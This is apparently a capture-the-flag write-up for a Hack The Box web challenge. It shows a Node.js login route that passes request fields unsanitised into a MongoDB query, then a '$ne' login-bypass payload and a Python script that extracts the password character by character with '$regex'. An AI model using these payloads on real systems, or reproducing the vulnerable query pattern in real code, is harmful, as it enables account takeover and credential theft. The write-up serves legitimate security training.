The login page of the website is vulnerable to MongoDB Injection. We can inject a MongoDB query to bypass the login. This is how to login function is implemented:
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
let User = new Schema({
username: {
type: String
},
password: {
type: String
}
}, {
collection: 'users'
});
module.exports = mongoose.model('User', User);
And the index.js file:
const express = require('express');
const router = express.Router();
const User = require('../models/User');
router.get('/', (req, res) => {
return res.render('index');
});
router.post('/api/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return User.find({
username,
password
})
.then((user) => {
if (user.length == 1) {
return res.json({logged: 1, message: `Login Successful, welcome back ${user[0].username}.` });
} else {
return res.json({logged: 0, message: 'Login Failed'});
}
})
.catch(() => res.json({ message: 'Something went wrong'}) );
}
return res.json({ message: 'Invalid username or password'});
});
module.exports = router;
We can inject a MongoDB query to bypass the login.
username=admin&password[$ne]=123
This will inject a MongoDB query to find a user with a username of 'admin' and a password that is not '123'. We'll get the response:
{ "logged": 1, "message": "Login Successful, welcome back admin." }
Now we will bruteforce the password from the database with a regex poc:
import requests
import string
import json
import sys
url = "http://94.237.52.225:50054/api/login"
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def extract_password():
params = {"username":"admin", "password[$regex]":""}
password = "^HTB{"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, verify=False)
data_raw = json.loads(pr.text)
data = json.dumps(data_raw)
if "Login Successful" in data:
password += c
# Output the current password to stdout
sys.stdout.write("\r" + password[1:].replace("\\", ""))
sys.stdout.flush()
break
if c == possible_chars[-1]:
break
print("\nFound password: " + password[1:].replace("\\", ""))
extract_password()
Try it yourself
You can try it yourself with the following Hack The Box machine: